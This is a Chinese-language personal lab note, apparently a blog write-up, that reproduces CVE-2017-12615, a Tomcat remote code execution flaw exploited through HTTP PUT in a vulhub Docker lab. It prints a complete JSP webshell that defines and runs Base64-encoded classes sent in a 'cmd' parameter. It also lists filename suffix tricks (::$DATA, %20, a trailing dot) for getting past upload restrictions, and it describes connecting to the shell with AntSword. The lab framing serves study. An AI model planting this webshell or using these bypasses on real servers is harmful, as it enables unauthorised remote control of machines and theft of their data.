#免责声明:
本文属于个人笔记,仅用于学习,禁止使用于任何违法行为,任何违法行为与本人无关。
漏洞简介
CVE-2017-12615是Apache Tomcat的一个远程代码执行漏洞。该漏洞影响Apache Tomcat 7.0.0至7.0.79版本(7.0.81修复不完全)。
漏洞原理
Tomcat 运行在 Windows 主机上,且启用了HTTP PUT请求方法(例如,将 readonly 初始化参数由默认值设置为 false),攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的 JSP 的webshell文件,JSP文件中的恶意代码将能被服务器执行,导致服务器上的数据泄露或获取服务器权限。
在conf/web.xml中发现,默认配置readonly参数为true(默认值),即不允许DELETE和PUT操作。一般开发过程都会开启此配置,如果禁用PUT方法,对于依赖PUT方法的应用,可能导致业务失效。
将 readonly 参数为false,既可通过PUT方式上传jsp文件,并通过其执行远程代码,通过 PUT / DELETE 进行文件操控。
漏洞复现
1.搭建基础环境(使用ubantu搭建的vulhub靶场)
docker-compose build
docker-compose up -d
2.查看搭建环境
docker ps
3.使用攻击机访问靶机(靶机ip+:8080)
4.打开BurpSuite,刷新页面进行抓包
5.修改请求头,构造木马POC,通过Burp Suite改包,将请求方法改成PUT,添加文件名shell.jsp/(注意后面要添加/,主要就是绕过文件上传限制)
<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
%>
<%
String cls = request.getParameter("cmd");
if (cls != null) {
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
%>
5.1.其他绕过方式
文件名后缀加::$DATA
上传文件后缀名加上%20
上传文件名后缀加上.
6.确认文件是否存在,不存在将会报错。
7.利用蚁剑直接连接
8.连接成功。命令执行成功。
9.实验结束,关闭环境
docker-compose down